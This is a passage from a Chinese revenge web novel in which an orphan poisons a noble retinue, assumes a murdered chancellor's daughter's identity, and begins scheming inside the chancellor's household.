《千金劫》
第1章 天生恶女
陆乔总觉得自己或许是天生的恶女。
卖烧饼的夫妇捡到她时,她正在与恶狗夺食,不过十岁的她,就已经知道远远的用石头把狗打晕,再上前抢走吃食。
“这可怜的孩子......”陆家夫妇卖烧饼回家的路上看见她时,她正在低头啃食着从恶狗嘴下抢到的骨头,根本无暇估计眼前人。
直到一个热气腾腾的烧饼出现在她面前。
陆乔抬起头,眼神里泛着饿光。
想吃,但不敢。
她因为拿别人的吃食被打过太多次了。
“孩子,吃吧。”
陆乔闻言,立马拿起烧饼,狼吞虎咽了起来。
陆老三见她如此,心中一阵烦闷。
低声骂道:“谁家的大人居然这么狠心,让孩子流落的与野狗争食。”
陆老三的妻子王氏皱着眉头,看向自己的丈夫,语气有些恳求。
“我们把她带回家吧,反正我们也没孩子。”
陆老三犹豫许久,自己和妻子本不富裕,也是穷苦出生,靠着卖烧饼养活一家人。
若要视而不见,却也是做不到的。
他蹲在陆乔面前。
“孩子,你愿意当我的闺女吗?以后你再也不会饿肚子了。”
陆乔从有意识起,便是跟着乞丐们在外流浪,她不太明白当眼前人的闺女意味着什么。
但是她听到了【不会饿肚子】,这几个字的时候,就只知道点头了。
为什么说觉得自己像天生的恶女呢。
或许是多年乞丐,陆乔从来不知道善良、温和是什么。
她只知道,有人骂她,她就要骂回去。有人打她,她就要打回去,而且打的更狠更重,这样就不会有人再敢欺负她。
别人打的她鼻青脸肿,那她就一定会将别人打的头破血流。
陆家夫妇一日日的给她收拾烂摊子,实在没有办法。
花了家里所有的积蓄,将陆乔送到村里的书孰,指望着陆乔能像读书人一样知书识礼。
或许是读了圣贤书,又或许是陆乔看见陆家夫妇低头哈腰的给别人赔礼道歉。
陆乔,从此便不再惹事,越发待人温和有礼。
就这样过了七年。
“乔乔!乔乔!”
陆乔在书孰正上着课,外面一阵慌忙的叫嚷声。
她走出书孰,看着张婶脸色煞白,神情恐慌。
“乔乔,你快回去吧!你爹娘出事了!”
陆乔心中咯噔一下。
连忙跑回家中。
直到她冲到家里,亲眼看清眼前的场景。
嗡——
陆乔的脑海如炸开一般,她觉得有些天旋地转,脚步踉跄,门口的街坊们叽叽喳喳,大都是神情不忍,还有些相熟邻居,正掩面而泣。
她的养父养母——全都躺在血泊之中。
死不瞑目。
他们二人浑身遍布伤痕,地上全是血迹,不用仵作查验都可以看的出来,他们是被活生生打死的。
陆乔转身走到张婶面前,她双眼通红,目眦尽裂。
她紧咬着嘴唇,控制着自己的理智一字一句问道:
“张婶,到底怎么回事!”
看着陆乔的眼神,张婶瞬间觉得自己被野兽盯住,心里发毛。
她一个年近五十的长辈,居然从心底里对一个十几岁的小姑娘产生恐惧。
答话有些颤抖:
“是...是......刚来了一个贵人的马车,从上面下来了一些人,要在你们家吃便饭......”
“吃完后觉得你父母做的都是粗茶淡饭,不见荤腥,一怒之下将你父母打**......”
荒唐!
陆乔闻言一股怒气冲至胸腔,她觉得自己肺气的要炸开了。
“他们去了哪里?”
“北...北面......”
往北?那便是清宁镇了。
她走到养父母尸体旁,跪下磕了个头,喃喃自语道:
“爹、娘,孩儿一定给你们报仇。”
陆乔回到房中拿了些钱财交给张婶,拜托她帮自己安葬父母,并详细询问了那一行人的长相后,独自向北前去。
......
近日,上京城中关于沈府嫡长女之事闹的沸沸扬扬。
传闻丞相沈自山的嫡长女出生时糟歹人算计,流落街头,至今下落不明。
沈相秘寻十七年,终于在一个月前有了线索。
大喜过望,于是连忙派人接女儿回家。
可**近日很是烦闷,他本是一个管事,原以为自己抢破了头得到了接相府嫡女回家的好差事。
不仅会因喜事两头得赏,还会在新主子面前露个脸。
但谁曾想,这个新主子居然如此嚣张跋扈。
昨日仅因吃食不满意,居然要随行家奴活生生打**那对夫妻。
若是平日里打死两个村民,倒也不是什么大事。但如今上京城中皇子夺嫡愈演愈烈,连他这个下人都能察觉一二,家主乃是当朝丞相,身份极其敏感,这大小姐如此打死两人,传扬回沈府,他怕是要因劝诫不当,挨上一顿责罚。
况且,这大小姐极难伺候。
明明不过是小门小户长大,他们寻到大小姐时,她尚在穿粗布麻衣。
可自打知晓自己是当朝丞相嫡长女后,行事愈发跋扈。
非荤腥不吃,非小店不住。
马车上垫满细软,却偏要责骂车夫颠的她浑身酸痛。
这一路来,他可是受了不少的苦。
只能指望着早日将这个祖宗送到沈府,他就阿弥陀佛了。
“这个酒楼还算不错,总算能有吃食了。”
苏婉婉看着桌上的丰盛的菜肴,眼神发光,她这辈子都没见过这么多菜。
有很多她甚至都叫不上名字。
尽管已经馋的不行,她还是拿起筷子故作姿态的小口小口吃着。
现在她可是相府嫡长女,一举一动皆要有贵女风范。
只是她不知道的是,她从小在乡野长大,哪里懂得
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贵女礼仪,如此装模作样的,剩下的不过是滑稽罢了。
但有个看着还算干净的小乞丐老是盯着她,让她很是不满。
她指着**骂道:“你是蠢货吗?她看我半天了,你没长眼睛吗?把她赶紧轰出去!”
**在相府都没有被这么骂过,他脸色一寒,连忙上前拉着小乞丐离开。
没曾想,小乞丐劲还挺大,挣脱了他,一溜烟的就跑到大小姐跟前。
噗通——
跪下来磕头。
苏婉婉哪里见过这种场面,吓的连忙站了起来。
“你......你这是干什么?”
小乞丐抬起头,竟是个姑娘。
她一脸崇拜的看着苏婉婉:
“我看您长的像仙女,就像...就像他们口中说的贵人,小六子他们说见到贵人要磕头。”
“嘿嘿,我给贵人磕头啦!”
话说着,乞丐又磕了几个头。
从没见过这样的场面,一瞬间,苏婉婉的虚荣心上升到了极致。
她挺起胸膛,拿了个碎银子丢到地上。
“算你有眼光,本小姐赏你的。”
谁知小乞丐见到银子却是毫不动心,眼里只有苏婉婉。
“你干什么?”苏婉婉有些诧异。
“我......我想服侍贵人,给贵人为奴为婢......”
“这......”
一旁的**觉得不妥,劝诫道:
“大小姐,这种来历不明的人,您可不能收。”
“况且,您还有朝云、采露呢。”
苏婉婉有些迟疑,她也确实不想收个乞丐做丫鬟,免得回到相府还受人嘲笑。
“那就......”
苏婉婉话音未落,小乞丐抬起头看着苏婉婉二人疑惑道:“咦?原来贵人们的身边竟是下人做主的吗?怎么和小六子说的不一样。”
她捡起眼前的碎银子,嘴里一边念叨着一边起身离开。
“若主子是这般,那倒也不必追随了。”
苏婉婉脸色一变。
这一路走来,虽说随行的仆人皆对她恭恭敬敬,但她不傻,她看得出他们眼底里的嘲讽。
不过是恐惧她的身份,心底里根本看不起她。
小乞丐的话点燃了她心中的怒火。
“站住!你就留我身边做贴身丫鬟吧!”
小乞丐惊喜的看过来,但里面又紧张的看着**。
支支吾吾,不敢答话。
苏婉婉见状更是愤怒。
“你看她作甚,我才是这里的主子。”
**上前一步,压低声音:
“大小姐,千万不可......”
苏婉婉冷哼一声:“王总管!你再阻拦,我回去定要禀报父亲,将你逐出相府。”
王总管脸色一变:“奴才不敢。”
耍了一波主子的威风,苏婉婉心情极好。
看着小乞丐:“你叫什么名字?”
小乞丐轻挑唇角:
“小的名叫——陆乔。”
第2章 我就是他们的女儿
半月后。
苏婉婉叫停马车:
“我看前方有个破庙,不如我们今晚就在那边歇息吧。”
**看着天色,疑惑道:“大小姐,现在日头还早,若我们加紧脚步,后日便可到达上京了。”
苏婉婉脸色变幻,随着离上京越来越近,她越来越害怕,只能找各种理由拖着。
“王总管,大小姐说想歇息,你照做就是,还是说你在质疑大小姐的决定?”陆乔语气里充满警告。
闻言,**脸色一沉。
一个乞丐竟也敢对他呼来喝去,可这半个月大小姐是越发喜欢这丫头,他也不敢过多得罪。
只得朝着苏婉婉讨好的笑着:
“不敢不敢,小的马上就去安排。”说罢,他便带着几人去破庙收拾。
苏婉婉对陆乔的举动很是满意,这一路上陆乔说话做事样样符合她的心意,她愈发觉得自己收了陆乔是个明智的决定。
其实陆乔不止讨的苏婉婉的欢心,其余随行的八人也很喜欢她,这段时间因为赶路,她们时常只能在路上随便弄点吃食。
陆乔的厨艺出奇的好。
起初一些人将信将疑,不敢吃她做的东西。
但慢慢的一到饭点,便有人开着玩笑催着陆乔做饭了。
月上枝头。
众人围在一起吃着陆乔做的饭。
“乔乔,你这手艺真不错啊,不像是小乞丐出身。”朝云喝下最后一口汤,满足的揉着肚子。
“是啊是啊,太好吃了。”护卫王三跟着应和着
“和之前去的赵家村那户的手艺不相上下。”
所有人吃的安逸,没人注意提到赵家村时,陆乔的脸色暗了几分。
“既然那户人家做饭好吃,那你们为何又将那对夫妇打死。”
苏婉婉冷哼一声:
“哼,虽然味道不错,可我们在走时被朝云发现他们厨房里居然还藏着一只鸡没有做给我吃。”
“真是不知死活。”
破庙里树枝烧的劈啪作响,燃烧的火光打在苏婉婉的脸上。
在这十七岁的少女脸上,映照出满脸的轻蔑、恶毒。
王三也有些不快道:“是啊,能给堂堂丞相府嫡女做饭是他们几世修来的服气,居然还敢藏着掖着,活该被大小姐打死。”
采露嬉笑着:
“嘻嘻,王三,没想到你竟然如此愤慨,怪不得打死那个对夫妇时你出了那么大的力。”
王三拍了拍胸脯:“那是,出门在外可不能丢了我们相府的脸面。”
朝云似是有些不忍:
“听他们说,那只鸡是留着给女儿过生辰的,倒也不是刻意藏匿。”
“那又怎样,一个乡野丫头还能与我们相府千金比不成?”采露反驳着。
很快,朝云脸上的不忍也很快消散。
确实,一个农妇敢对相府的千金藏着掖着,就该死。
一群人讨好着苏婉婉,谩骂着赵家村二人不识时务,实属活该。
只有陆乔,默默的看着火堆,并不言语。
她心里五味杂陈,原来养父母的一场杀生之祸,竟是为了自己,为了给自己炖个鸡汤。
自把她带回家以来,养父母可谓是对她倾尽一切,如今还是因她而死。
难过、愤怒、悔恨充斥着她的心脏,她自己的心脏撕裂般的疼痛。
陆乔捏着树杈的手,控制不住的发着抖。
眼底漫起一阵寒意。
苏婉婉觉得身旁的陆乔有些不对劲:
“乔乔,你怎么不说话?”
陆乔抬起头:“你们不是说他们二人有个女儿吗?你们知道叫什么名字吗?”
**满不在意道:“谁知道,管他呢?”
陆乔低头轻声答道:“我知道。”
“什么?”
她提高声音:“我说,我知道!”
朝云凑了过来,好奇的问着:
“叫什么呀?”
陆乔注视着跳动的火焰,红唇轻启,一字一字的说着。
“她叫——陆乔。”
“噗嗤”王三捂着肚子笑了起来,“乔乔,你在开什么玩笑。”
可陆乔冷静的环视着所有人,最终目光停留在苏婉婉的脸上,她的眼神深邃,如同野兽盯上了猎物。
一字一字的说着:“我,没有开玩笑。”
仅一眼,苏婉婉仿佛觉得自己瞬间置身冰窖,浑身发毛。
**最先察觉不对,脑海里立马警铃大作,连忙招呼着身旁的护卫们。
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“快!保护大小姐!”
但还未等他们起身,众人突然觉得浑身一软,皆晕倒在地,没过多久便口吐白沫,只剩**和苏婉婉二人还站在那里。
苏婉婉看到眼前的场景,吓的身体一软,瘫倒在地上。
**心里暗道不好,指着陆乔骂道:
“**,你在饭菜里下毒?”
话说着,他环顾四周,他们从相府出来的八人全都倒在地上,口吐白沫,没有了气息。
也只有苏婉婉尚有神志。
“你知道,你为什么没死吗?”陆乔从怀中掏出一个瓷瓶,伸向火堆。
**是个聪明人,不然也不会在丞相府混上一个管事的名头。
“说吧,你要我做什么?”
**浑身冷汗直出,没想到自己在丞相府身经百战,居然栽倒一个臭丫头的手上。
陆乔捡起身旁的一根棍子,扔向**。
抬手,指向倒在地上的苏婉婉,声音冰冷。
“我要你,一棍!一棍的!打死她!”
**简直不敢相信这是眼前的女子说的话,她明明可以像毒杀其他人一样杀了苏婉婉,可是却硬留苏婉婉一条命。
只为将苏婉婉乱棍打死。
这是在报仇,将她父母身上受到过的伤痛,一一还在苏婉婉身上。
**看着眼前的女子,他自小长在上京,在丞相府为奴仆,见过多少权贵之间的狠毒,却从未见过这样的女子,她仿佛是地狱里爬出的恶鬼。
“不...不要......”苏婉婉闻言,吓破了胆,她使尽浑身的力气,却根本就爬不起来,连话都说不清楚。
“她是丞相府的千金,你敢!”**试着拿丞相府的名头威胁陆乔。
陆乔轻蔑一笑:“如今你们的命都握在我的手上,如果你们都**,谁知道是**的。”
“况且,我保证你打死相府千金这件事,天知地知你知我知,我不会再让任何一个人知道。”
**还想继续挣扎:“我若是不呢?”
陆乔将瓷瓶的盖子打开,向火堆倾斜着,满不在意道:
“无所谓啊,我想杀她,法子多的事。”
“只是——王总管,你可是活不了了。”
第3章 我来做相府嫡女
**内心十分纠结,让他乱棍打死丞相府的千金,他怕是不要命了,他可是知道丞相有多重视这个女儿。
可,若现在不按陆乔的要求做的话,他怕是活不过今天。
“我的耐心可不多了。”
陆乔的声音,如同地狱索魂的恶鬼,她拿着瓷瓶的手又倾斜了几分。
**瞪大双眼,瞬间慌了。
“别!”
“**!”
陆乔挑了挑眉,收回瓷瓶。
“很好,我等着。”
**紧握手中的棍子,转身走到苏婉婉跟前。
他握着棍子的手,还在不停地颤抖着。
杀了苏婉婉,他可能会死。
若不杀苏婉婉,他一定会死。
他没有选择。
“大小姐,对不住了。”
“啊!!!”苏婉婉早已被吓破了胆,但她浑身无力,早已无法挪动一分。
她只能趴在地上朝着陆乔的方向不断磕头。
如同丧家之犬,她的裙底慢慢渗出一阵液体,散发出腥臭味。
“陆乔,我错了,你饶了我吧,我再也不敢了......”
“我求求你。”
而陆乔,自始至终都坐在原地,并不答话。
对于苏婉婉,陆乔午夜梦回之时全是养父母的死状,她早已忍无可忍。
恨不得啖其之肉,饮其之血。
耳旁开始响起棍棒落在人体上的声音,伴随着苏婉婉的惨叫。
火堆继续燃烧着。
一如过往吃食短缺的时候,养父母也没有抛弃她,冬日里一家三口也是围着火炉,烤着家中所剩无几的红薯。那时,养父母总说自己不饿,将最大的红薯递给她。
她们本没有血缘关系,却待她如亲生女儿,她何其有幸能遇到这样的父母。
爹、娘,我终究是让你们失望了。
你们悉心教导我六年,我终究还是手染鲜血。
或许,我生来就不是什么好人吧。
只是苦了你们......
愧疚、悔恨、难过,充斥着沈乔的心间。
渐渐的,苏婉婉再也没有声息。
**喘着粗气走来,木棍上沾满着苏婉婉的鲜血,顺着棍子滴落在地上。
滴答滴答。
或许是因为杀了人,**的眼神里泛着凶光,还潜藏着其他意味。
活生生将人打死,他有些力竭,声音喑哑:
“人,我已经打**。”
“解药。”
陆乔站起身,从怀里掏出瓷瓶对着火堆,翻手,瓶口朝下。
“不要!”
见状,**心中一紧,着急地看着瓷瓶。
可,陆乔手中的瓷瓶却什么都没有倒出来。
“空的?”
陆乔嘲弄地笑着:“我从没说里面有东西。”
**眼底瞬间通红,额间青筋暴起。
咬牙切齿地说着:“你骗我!”
陆乔摊手,无奈道:
“你别忘了,我不过是个小乞丐。”
“**,还是有解药的**,可不是像我这样的人买得起的。”
“我从没说过你中了毒,就像我从没说过瓷瓶中有东西一样,一切不过是你在臆想。”
陆乔眼眸一转,走到苏婉婉的尸体旁。
“只不过......你亲手杀了相府千金这件事却是真的不能再真了。”
完了,**脑海里只有这一个念头。
他亲手杀了丞相府的嫡长女,上京他是再也回不去了,还会被沈相追杀。
思索至此,他抬眸望向沈乔,眼底泛起一丝杀意。
陆乔自然知道他在想什么,却不急不慢地说着:
“你猜,你今天杀不杀得了我?”
“又或者,你猜猜我能不能杀了你?”
陆乔太过冷静,冷静得让**害怕,他在相府明争暗斗了二十余年,爬上总管的位子,却仍旧根本想不通沈乔在想什么。
“你留我一条命,不可能没有后手,你想做什么?”
“我们谈个交易如何?”
**皱眉道:“交易?”
“你们此行不是接相府嫡长女回府吗?她现在已死,你也没有交代。”在这一路上,陆乔探听到的不止养父母之事,还有这一行人的目的,苏婉婉对她完全没有防备,早就炫耀式的和盘托出了。
而且,苏婉婉厌恶自己长大的地方,她太过害怕给自己留下污点,早已让相府之人杀光她的家人。
陆乔走到**面前,正色道:
“不如,我来做相府嫡长女如何?”
闻言,**笑了,原来她想要的是这个,一个乞丐竟敢肖想相府嫡长女,真是可笑。
他嗤笑一声:“哼,就凭你?”
陆乔好似没有听见他的嘲弄,继续说道
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:“你们是凭借苏婉婉身上的玉佩才找到她,认定她。她既已死,玉佩转而到了我的身上。”
“你,是相府派人来接相府嫡长女之人;而我,是带着证明身份的玉佩之人。”
“只要你说我是,那么谁会怀疑?”
**看向陆乔,不断思索着。
这虽是一步险棋,但陆乔说得没错,这样以来,这个小乞丐还真有可能变成相府千金。
“你如何觉得,我一定会帮你。”
陆乔笑了,这一笑,让**晃了神。他从未认真看过眼前的女子,陆乔并不是让人一眼惊艳的长相,她身着粗布麻衣,却丝毫不比相府其他千金差。
“因为,我们可以合作。”
“合作?”**有些疑惑。
陆乔继续道:“你有我不是相府嫡女的把柄,我也有你杀了相府嫡女的把柄。”
“如此,我们互相制约,却也正好可以互利互惠,待我到了丞相府,定然会全力培养你。”
“因为你,是唯一知道我全部底细之人。”
若陆乔方才的话是勾起了**的兴趣,可现在,他不否认地心动了。
人是丞相派他出来找的,人找到了,信物找到了,那还不是他说什么就是什么。
况且,陆乔说的没错。
陆乔最大的把柄就在他的手里,只要到了相府,他哪怕以死相搏,也是有一份保命的牌。
其实,他也没有其他的选择,他杀了相府嫡女,早已无生机。
这是他最后保命的机会。
他看向眼前的少女,少女只浅笑地看着他,并不着急催促着他做决定。
就好像笃定了他一定会同意。
念至于此,**瞬间冷汗直流,他惊恐地看着眼前的少女。
他难以置信,这些日子以来,从成为苏婉婉的侍女,再到给所有人做饭,从而轻而易举的杀掉所有人,唯独留他一个活命,还命他亲手杀了苏婉婉。
只为了报仇吗?
不,她需要一个证人,证明她是相府千金的人。
这一系列操作下来,一环扣着一环。
她从一开始就织了一张大网,他根本无力挣脱。
从自己亲手杀了苏婉婉那一刻,他注定会成为她的棋子。
最终,**单膝跪地,弯腰低头,沉声道:
“小的**,见过大小姐。”
第4章 嫡女?我不当了
上京迎来了第一场雪,这场雪来得凶猛,下了整整一天一夜。
漫天的大雪覆盖了整个上京。
油纸伞下,一个少女披着素色的大氅,笔直地站在丞相府门前,她不饰钗环,身形清冷,却给人一种与生俱来的贵气。难以想象,一个月前她还是农妇之女。
陆乔注视着丞相府的牌匾,不知道过了多久,直到伞上堆满积雪,**冷得直哆嗦。
“大小姐,咱们进去吧。”
陆乔这才缓缓开口:“这就是丞相府?”
被陆乔问及丞相府,**这才挺直腰板,介绍了起来。
“那是当然,十年前家主还不过是四品尚书,却不畏强权,敢于直谏当时权力滔天的平阳侯府意图谋反,且家主机敏过人,暗地里搜集到平阳侯谋反的实证,这才配合皇上一举拿下并全歼平阳侯府上下众人。”
“家主因此得皇上胜赞,越级升迁为正一品丞相,还被皇上誉为【国之肱骨】,让朝堂众臣效仿。”
或许是来的路上被陆乔压抑得太久,以为陆乔不过是农妇之女,想挫一挫她的锐气。**介绍起丞相府来,语气激昂慷慨,满是与有荣焉。
闻言,陆乔看着丞相府的牌匾,眼神深邃带着些许嘲弄,轻声冷笑。
“国之肱骨?”
**沉浸在丞相府的荣光里,以为陆乔被这四个字镇住,并未听出她的语气不对,仍继续忘情介绍:“是啊,你可是不知,那时......”
“走吧。”陆乔只淡淡的说了句,便抬脚走了进去。
没多久,沈府众人得了消息,匆匆赶来。
看清为首着,纵使陆乔心里做足了准备,她依旧心里一紧,身躯无人察觉的微微颤抖着。
沈自山!
十年前尘封的记忆在陆乔眼前闪过。
浩浩荡荡的官兵将整个平阳侯府围了起来,为首的沈自山高举明晃晃的圣旨。
“老师,陛下早已查明你谋逆之事,你就束手就擒吧,说不定你的小孙女还能留个全尸呢~”
“我呸!”许老侯爷看着眼前的景象目眦尽裂,他手持红缨枪,直指沈自山。“你别叫我老师,我许元德没有你这个逆徒!”
“我从龙先帝有功,辅佐幼帝继位多年,平阳侯府上下个个赤胆忠心,为国为民,绝不会行谋逆之事!”许老侯爷颤抖着身躯,怒喝道,“沈自山,我要见陛下!”
沈自山冷嗤一声,“呵,赤胆忠心?”他眼泛冷光,“老师,你为官几十年,怎么还是不知道赤胆忠心这几个字到底要怎么写?”
“忠心?什么叫忠心?跟着陛下的心思行事才是忠心!你那一套忠军爱民的想法,已经老了。”
他压低嗓音,用仅二人听的见的声音道:“老师,你是否谋逆,真的重要吗?”
“重要的是,陛下现在已经不需要你了,可是你的侯府却立在这里,让陛下碍眼,这何尝不是谋逆的一种呢。”
“老师,你放心,我既是你的徒弟,受你多年教导,有朝一日成就定会在你之上,不会污了你的门楣。”
“为了报你教导之恩,我一定会把你的小孙女和你埋在一起的,让她在九泉之下还能得你庇佑。”
沈自山退后两步,看着眼前教导自己多年的老师,神色复杂。
最后,冰冷道:
“平阳侯府上下,鸡犬不留!”
那一夜,鲜血流满了整个平阳侯府。
“大小姐!大小姐!相爷问你话呢!”**在陆乔身后低声提醒着。
陆乔这才回过神看着已经走到面前的沈自山。
他眉头微皱。
“方才的话,你没听见便罢了。”
“如今回来就好,你自小养在山野,日后要多学规矩,不要丢了丞相府的颜面。”
陆乔强压住涌上喉间的血腥气,乖巧答道:“是,我知道了。”
“嘻嘻。”一阵浅笑声传来,“原来这就是嫡姐,还真是带着一股子山野间的清新之气。”
顺声望去,说话者不过十五六岁,容貌却已长开,是个难得的小美人。她眉眼含笑,满是轻蔑。
她身旁另一个女子却故作严肃呵斥道:
“清婉,不可胡说,她可是你嫡姐,况且你一个庶出,怎可这样评论嫡出。”
陆乔心中冷笑,虽说是维护她的话,可字字句句皆是在贬低她,同时挑起沈清婉与她的争端。
不愧是上京第一才女,沈清芷。
传闻她容貌倾城,琴棋书画样样精通,还多次得皇上称赞。
此时她三言两语便激起沈清婉的不满,沈清婉因着是庶出,在外人人称赞沈清芷不说,在家还要屡屡受沈清芷嫡女身份的压制,她早已憋屈许久。
这下,不知从哪个地方跑来了个陆乔,明明是乡野贱民,却一到沈府便是嫡出,狠狠压她一头,这气她如何受得了。
“哼!嫡女又如何,不过是养在乡间的野丫头罢了,粗鄙不堪,还不如我的侍女。说她是相府嫡女,都丢了我们丞相府的脸面。”
“我看父亲日后,千万莫要让她出门。”
陆乔观察着身旁众人,其余女眷皆面带嘲讽看她笑话,沈相也闭口不言,漠不关心。
陆乔转了转眼底,这沈自山并没有上京传言一般,那么重视这个流浪在外的“女儿”。
这相府,有猫腻。
陆乔不语,上前一步走到沈清婉面前。
反手就是一巴掌。
“啪——”
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掌声清脆,所以人皆惊在原地。
跟着她一同回来的**,见这场面瞪大了眼,双腿一软,差点摔倒在地。
脸颊上传来稍微滞后的疼痛,让沈清婉反应过来方才发生了什么。
“啊!!!”
她尖叫着一只手捂着脸,另一只手指着陆乔:“你...你!你敢打我!”
她转向沈相,泪水瞬间喷涌而出,她自小娇生惯养,哪里受得了这个委屈。
“爹!她这个野丫头竟敢打我!”
沈相愠怒,厉声道:“你这个逆女,你在做什么!”
陆乔一脸淡定,慢悠悠地答道:“她既唤我一声嫡姐,那便是我的妹妹,我自然是要关心疼爱她。”
沈相皱眉;“那你打她作甚!”
陆乔满脸委屈:“清婉言语无状,哪有名门贵女的模样,我自幼不在府中,也不知是谁在教导清婉。”说着她叹了口气,“不过,过去便罢了,现在我既已回来,自然要担起嫡姐的职责,教导弟妹。”
她看向沈清婉,语重心长道:“妹妹,你要懂事些,姐姐打你是为你好。”
“你你你你!”沈清婉气急败坏,却不知从何辩起,只能看向沈相,满脸委屈。
沈相:“那你也不能这样打自己的妹妹,看来你是乡野里待久了,丝毫不知规矩,为父要家法惩治你!”
**见状,连忙跪倒过来,这祖宗还不知道会做些什么出来。
“相爷,求你念在这些年来大小姐在外面吃了不少的苦的份上,您就饶了大小姐吧,她才从外面回来,不懂家里的规矩也是有的。”
沈清芷冷笑道:“不懂规矩便可随意打骂妹妹,不把父亲放在眼里吗?”
沈相闻言,怒火更甚;“你这个逆女!”
可谁知,陆乔满脸委屈答道:“既然父亲这般不喜欢女儿,那这个相府嫡长女,女儿不做也罢,就此回去了,父亲就当从没寻过我这个女儿。”
说完,立马转身离去。
只留得众人又是一阵惊愕。
天爷啊,她知道她在说什么吗?她这是要放着好好的丞相府的嫡女不当,要回乡下种地吗?
陆乔毅然往大门走着,一步、两步......九步、十步。
身后响起沈相的声音。
语气柔软了不少:
“站住!”
“傻孩子,为父哪有不喜欢你。”
“她是你妹妹,既言语不敬打便打了吧,莫要再说什么不当相府女儿的傻话了。”
陆乔站定,背对着众人,唇角勾起一抹浅笑。
她赌对了。
沈相需要她。
此时跪在一旁**,看着陆乔的背影冷汗淋淋。
爹,活爹.....
第5章 竟是要嫁给他
**在陆乔房内急得团团转。
“祖宗,您这是带我回相府步步高升吗?您这是拉着我**啊!”
“您回家第一天,就当着相爷的面亲手删了他女儿的耳光,还逼得相爷当众退步,您知道他是谁吗?”
“咱们相爷可是权倾朝野的沈丞相,连皇子见他也要礼敬他三分。”
**见陆乔不语,只是气定神闲地坐在椅子上喝茶。
更是一阵头痛,他怎么就摊上这么个姑奶奶。
“这样吧,我发誓不说你假千金的事,你也别说我杀了真千金,咱们以后在府里就当做不认识可好?”
陆乔放下茶杯,脸色不悦:
“怕什么,这不是没事吗?”
“你若想安稳点,还不快仔细将这丞相府的事跟我说道说道。”
陆乔思索许久,**说得没错,沈相这个权倾朝野的人却对他退步,其中定有什么事是沈相也为难的地方。
“尤其是沈清芷的婚配之事。”她强调着。
她若回府,影响最大的莫过于继室和沈清芷。
真千金只要一回丞相府,那原配正室嫡长女的出身可是摆在这里的。只要继室是个聪明人,为了沈清芷的身份,她就不可能让真千金顺顺利利回来。
既然让她回来了,那么原因只有一个。
继室需要她的身份,沈府需要另来一个嫡长女,替了沈清芷的位置。
能让沈清芷如此退步的,怕是只有连沈相都做不得主的婚事。
“二小姐的婚配之事?”**低头思索着,“我不曾听闻二小姐有何婚配呀?”
“对了!”
**猛的抬头,“还真有!”
他缓缓道来:
“说起来也是十年前的事了,那时平阳侯府因谋逆之罪被满门抄斩,皇上宠妃宸贵妃乃老侯爷在外征战所救,老侯爷见她孤苦无依,便认她做了干女儿。”
“宸贵妃因此在皇上面前大闹,坚称平阳侯府是冤枉的,最后被逼上吊以证清白。”
**没有发觉,陆乔的眼底晦暗,搭在腿上的双手正紧握成拳,微微颤抖。
“这与沈清芷有何干系?”
**继续道:“本是没有关系的,但宸贵妃有一子,皇五子萧允珩,平阳侯与宸贵妃出事之前,风头无两,年仅十岁甚得皇上喜爱,在群臣之中的威望甚至一度超越了皇后所生之子。”
“听说那时因此事五皇子失了心魂,屡次跑到皇上面前据理力争,令皇上震怒,彻底失了圣心,被皇上丢到边疆带兵,这一呆便是十年,今年才被皇上召回上京。”
“当时皇上把五皇子丢到边疆之时,还怒道要把咱们相爷的嫡长女赐于五皇子为妃,要他日夜谨记平阳侯谋逆这一事。”
“只不过,这旨意多年来也未曾被提及,渐渐地大家也就忘却了这件事。”话说着,**眼睛亮了起来,“是了!定是这样。”
他激动地看向陆乔:“相爷也是自五皇子返京后才开始寻找流落在外的嫡长女的,看来,相爷这是要你顶替二小姐,嫁给五皇子。”
刚因猜中了缘由激动的**,又瞬间满面愁容。
“五皇子现在可是人人避之不及,而且传闻他多年被皇上冷落,在边疆征战十年,性格阴翳,**如麻。”
“更何况,我们沈府与他可是有着间接的杀母之仇!”
“你可千万不能嫁啊!”
陆乔闻言没有害怕,倒是**了许久。
最后勾起了唇角,淡淡道:
“原来兜兜转转绕了一大圈,竟是要嫁给他。”
第二日一早,陆乔的门房便被粗暴敲响。
她只身一人回来,没有侍女,因而只能自己起身开门。
迎面而来的,是一位嬷嬷身后还带了几人,为首的嬷嬷生的一双凌厉刻薄的吊梢眉,一看就不是好惹的。
她满脸鄙夷地看着陆乔:
“大小姐,老奴是主母身边的贴身奴婢,您唤我一声赵嬷嬷既可。”
赵嬷嬷斜着眼打量着陆乔,继续道:
“老奴此次前来,一来是相爷吩咐,半月后让你随相爷以他嫡长女的身份,进皇宫赴宴。”
“再者就是,因你长在乡野,相爷特意请了李嬷嬷。”赵嬷嬷只抬手指向身后侧的一名嬷嬷,“她便是你的教养嬷嬷,相爷特意交代,让你千万要仔细学着点,半月后的皇宫夜宴,莫要丢了我们丞相府的颜面。”
她招呼了后面两个侍女,“这二人今后便是你的丫鬟了,左边的是霜月,右边的是寒梅。”
赵嬷嬷耍了一通威风,正欲离开。
陆乔突然开口:“赵嬷嬷,我今日想出门逛逛,需要禀报母亲吗?”
“主母吩咐了,小姐才到上京定然想四处逛逛,但主母事多,小姐不必事事禀报,带上丫鬟即可。”
赵嬷嬷看着陆乔一副乡下人进城的做派
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,嘲讽地看了一眼转身离开。
此时的陆乔并不想与一个嬷嬷多费唇舌,只心里暗暗松了口气,她可自由出入,做事就方便多了。
刚吃完午饭,陆乔便带上霜月出门。
出了丞相府,陆乔四处看着。
熟悉又陌生的街景,弄得陆乔心中一时酸涩不已。
物是人非事事休。
她如今竟成了杀父仇人的女儿。
霜月误以为陆乔是被繁华的上京所震撼,认真的带着陆乔在街上逛着,仔仔细细地讲解着街上店铺。
陆乔表面上应和着,心里却在思索着怎么脱身。
她站在一个画糖人的铺子跟前,点了一个复杂的糖画。
又故作着急地跟霜月吩咐,“霜月,这要等得太久了,我还想去前面买栗子糕,你帮我等着这个糖画啊。”
“还有还有,你买完糖画,记得到方才走过的街头那边帮我买一份桂花糕。”
说完,便急匆匆地走开。
可霜月没有看见的是,陆乔转过一个弯,朝着另外一个方向走去。
她一路东拐西拐的,走到一个寥寥无人的巷尾处。
看了看身后无人,便抬脚走了进去。
屋内的人看见陆乔。
“大小姐!没想到您真的还活着!”
“没想到十年过去,大小姐也长成大人了,若不是您偷偷给我来信,怕是见到面,我也认不出您。”
一个堂堂七尺男儿,年过三旬的城防营的参将,此时却眼眶通红。
见到故人,陆乔亦是激动不已,可她迟疑地说着。
“巩大哥,十年前的旧案中,能活下来的没有几个,其中能让我信任的只有你了。”
“如今,你既已在上京看见我,就知道我要做什么。”
“若你......”
巩钧知道陆乔要说什么,他直接打断:
